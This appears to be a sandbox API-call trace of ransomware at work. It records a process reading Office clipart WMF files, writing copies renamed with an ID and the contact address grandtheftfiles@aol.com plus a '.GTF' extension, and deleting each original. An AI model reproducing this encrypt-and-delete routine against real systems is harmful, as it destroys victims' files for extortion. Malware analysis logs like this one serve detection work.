	[0087.552] lstrlenW (lpString=".xls") returned 4
	[0087.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.552] lstrlenW (lpString=".xlsx") returned 5
	[0087.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.552] lstrlenW (lpString=".ppt") returned 4
	[0087.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.552] lstrlenW (lpString=".zip") returned 4
	[0087.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.552] lstrlenW (lpString=".rar") returned 4
	[0087.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.552] lstrlenW (lpString=".bz2") returned 4
	[0087.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.552] lstrlenW (lpString=".7z") returned 3
	[0087.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.552] lstrlenW (lpString=".dbf") returned 4
	[0087.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.552] lstrlenW (lpString=".1cd") returned 4
	[0087.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.552] lstrlenW (lpString=".jpg") returned 4
	[0087.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.552] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.552] lstrlenW (lpString="FD00428_.WMF") returned 12
	[0087.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.553] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4796) returned 1
	[0087.553] CloseHandle (hObject=0x368) returned 1
	[0087.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0087.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.554] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.554] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.554] GetLastError () returned 0x0
	[0087.554] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0087.556] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0087.557] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.557] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.557] SetEndOfFile (hFile=0x390) returned 1
	[0087.557] CloseHandle (hObject=0x390) returned 1
	[0087.557] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.557] SetEndOfFile (hFile=0x368) returned 1
	[0087.558] CloseHandle (hObject=0x368) returned 1
	[0087.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0087.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.559] lstrlenW (lpString=".doc") returned 4
	[0087.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.559] lstrlenW (lpString=".docx") returned 5
	[0087.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.559] lstrlenW (lpString=".pdf") returned 4
	[0087.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.559] lstrlenW (lpString=".xls") returned 4
	[0087.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.559] lstrlenW (lpString=".xlsx") returned 5
	[0087.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.559] lstrlenW (lpString=".ppt") returned 4
	[0087.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.559] lstrlenW (lpString=".zip") returned 4
	[0087.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.559] lstrlenW (lpString=".rar") returned 4
	[0087.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.559] lstrlenW (lpString=".bz2") returned 4
	[0087.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.559] lstrlenW (lpString=".7z") returned 3
	[0087.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.559] lstrlenW (lpString=".dbf") returned 4
	[0087.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.559] lstrlenW (lpString=".1cd") returned 4
	[0087.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString=".jpg") returned 4
	[0087.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString=".doc") returned 4
	[0087.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString=".docx") returned 5
	[0087.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.560] lstrlenW (lpString=".pdf") returned 4
	[0087.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString=".xls") returned 4
	[0087.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.560] lstrlenW (lpString=".xlsx") returned 5
	[0087.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.560] lstrlenW (lpString=".ppt") returned 4
	[0087.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString=".zip") returned 4
	[0087.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.560] lstrlenW (lpString=".rar") returned 4
	[0087.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString=".bz2") returned 4
	[0087.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString=".7z") returned 3
	[0087.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString=".dbf") returned 4
	[0087.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString=".1cd") returned 4
	[0087.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.560] lstrlenW (lpString=".jpg") returned 4
	[0087.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.561] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.561] lstrlenW (lpString="FD00435_.WMF") returned 12
	[0087.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.561] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2108) returned 1
	[0087.561] CloseHandle (hObject=0x368) returned 1
	[0087.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220
	[0087.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.561] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.561] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.562] GetLastError () returned 0x0
	[0087.562] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0087.563] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x840, lpOverlapped=0x0) returned 1
	[0087.564] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.564] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.564] SetEndOfFile (hFile=0x390) returned 1
	[0087.564] CloseHandle (hObject=0x390) returned 1
	[0087.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.565] SetEndOfFile (hFile=0x368) returned 1
	[0087.565] CloseHandle (hObject=0x368) returned 1
	[0087.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0087.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.566] lstrlenW (lpString=".doc") returned 4
	[0087.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.566] lstrlenW (lpString=".docx") returned 5
	[0087.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.566] lstrlenW (lpString=".pdf") returned 4
	[0087.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.566] lstrlenW (lpString=".xls") returned 4
	[0087.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.566] lstrlenW (lpString=".xlsx") returned 5
	[0087.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.566] lstrlenW (lpString=".ppt") returned 4
	[0087.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.566] lstrlenW (lpString=".zip") returned 4
	[0087.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.566] lstrlenW (lpString=".rar") returned 4
	[0087.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.566] lstrlenW (lpString=".bz2") returned 4
	[0087.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.566] lstrlenW (lpString=".7z") returned 3
	[0087.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.566] lstrlenW (lpString=".dbf") returned 4
	[0087.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.566] lstrlenW (lpString=".1cd") returned 4
	[0087.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString=".jpg") returned 4
	[0087.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString=".doc") returned 4
	[0087.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString=".docx") returned 5
	[0087.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.567] lstrlenW (lpString=".pdf") returned 4
	[0087.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString=".xls") returned 4
	[0087.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.567] lstrlenW (lpString=".xlsx") returned 5
	[0087.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.567] lstrlenW (lpString=".ppt") returned 4
	[0087.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString=".zip") returned 4
	[0087.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.567] lstrlenW (lpString=".rar") returned 4
	[0087.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString=".bz2") returned 4
	[0087.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString=".7z") returned 3
	[0087.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString=".dbf") returned 4
	[0087.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString=".1cd") returned 4
	[0087.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0087.567] lstrlenW (lpString=".jpg") returned 4
	[0087.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.568] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.568] lstrlenW (lpString="FD00438_.WMF") returned 12
	[0087.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.568] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=5098) returned 1
	[0087.568] CloseHandle (hObject=0x368) returned 1
	[0087.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0087.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.569] GetLastError () returned 0x0
	[0087.569] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0087.979] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0087.988] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.988] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.988] SetEndOfFile (hFile=0x390) returned 1
	[0087.988] CloseHandle (hObject=0x390) returned 1
	[0087.989] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.989] SetEndOfFile (hFile=0x368) returned 1
	[0087.989] CloseHandle (hObject=0x368) returned 1
	[0087.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0087.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.990] lstrlenW (lpString=".doc") returned 4
	[0087.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.990] lstrlenW (lpString=".docx") returned 5
	[0087.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.990] lstrlenW (lpString=".pdf") returned 4
	[0087.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.990] lstrlenW (lpString=".xls") returned 4
	[0087.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.990] lstrlenW (lpString=".xlsx") returned 5
	[0087.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.990] lstrlenW (lpString=".ppt") returned 4
	[0087.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.990] lstrlenW (lpString=".zip") returned 4
	[0087.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.990] lstrlenW (lpString=".rar") returned 4
	[0087.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.990] lstrlenW (lpString=".bz2") returned 4
	[0087.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.990] lstrlenW (lpString=".7z") returned 3
	[0087.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString=".dbf") returned 4
	[0087.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString=".1cd") returned 4
	[0087.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString=".jpg") returned 4
	[0087.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString=".doc") returned 4
	[0087.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString=".docx") returned 5
	[0087.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.991] lstrlenW (lpString=".pdf") returned 4
